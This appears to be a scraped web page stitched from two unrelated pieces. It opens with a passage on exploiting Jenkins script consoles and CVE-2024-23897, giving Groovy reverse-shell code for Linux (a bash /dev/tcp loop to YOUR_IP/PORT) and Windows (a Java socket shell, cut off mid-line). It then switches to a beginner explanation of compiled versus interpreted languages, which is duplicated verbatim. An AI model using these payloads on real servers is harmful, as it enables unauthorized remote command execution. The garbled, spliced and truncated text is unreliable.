Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
After writing a program, it needs to render into machine language so that it can be executed to provide the desired result. There are two different ways of transforming a program from a high-level programming language into machine language:
Compilation - The source program is translated once (repeated each time you modify the source code) by getting a file (e.g., an .exe file in a windows environment) containing the machine code and you can distribute the file to others. The program that performs this translation is called a compiler or translator.If the compiler finds an error, it finishes its work immediately. The only result in this case is an error message.
Interpretation - You can translate the source program each time it has to be run; the program performing this kind of transformation is called an interpreter, as it interprets the code every time it is intended to be executed; it also means that you cannot just distribute the source code as-is, because the end-user also needs the interpreter to execute it.Interpreter go through the code line by line. Each line is usually executed separately, so the trio "read-check-execute" can be repeated many times - more times than the actual number of lines in the source file, as some parts of the code may be executed more than once
Python is an example for Interpreted language whereas C, C++ are the examples of compiler languages
Compilation - The source program is translated once (repeated each time you modify the source code) by getting a file (e.g., an .exe file in a windows environment) containing the machine code and you can distribute the file to others. The program that performs this translation is called a compiler or translator.If the compiler finds an error, it finishes its work immediately. The only result in this case is an error message.
Interpretation - You can translate the source program each time it has to be run; the program performing this kind of transformation is called an interpreter, as it interprets the code every time it is intended to be executed; it also means that you cannot just distribute the source code as-is, because the end-user also needs the interpreter to execute it.Interpreter go through the code line by line. Each line is usually executed separately, so the trio "read-check-execute" can be repeated many times - more times than the actual number of lines in the source file, as some parts of the code may be executed more than once
Python is an example for Interpreted language whereas C, C++ are the examples of compiler languages
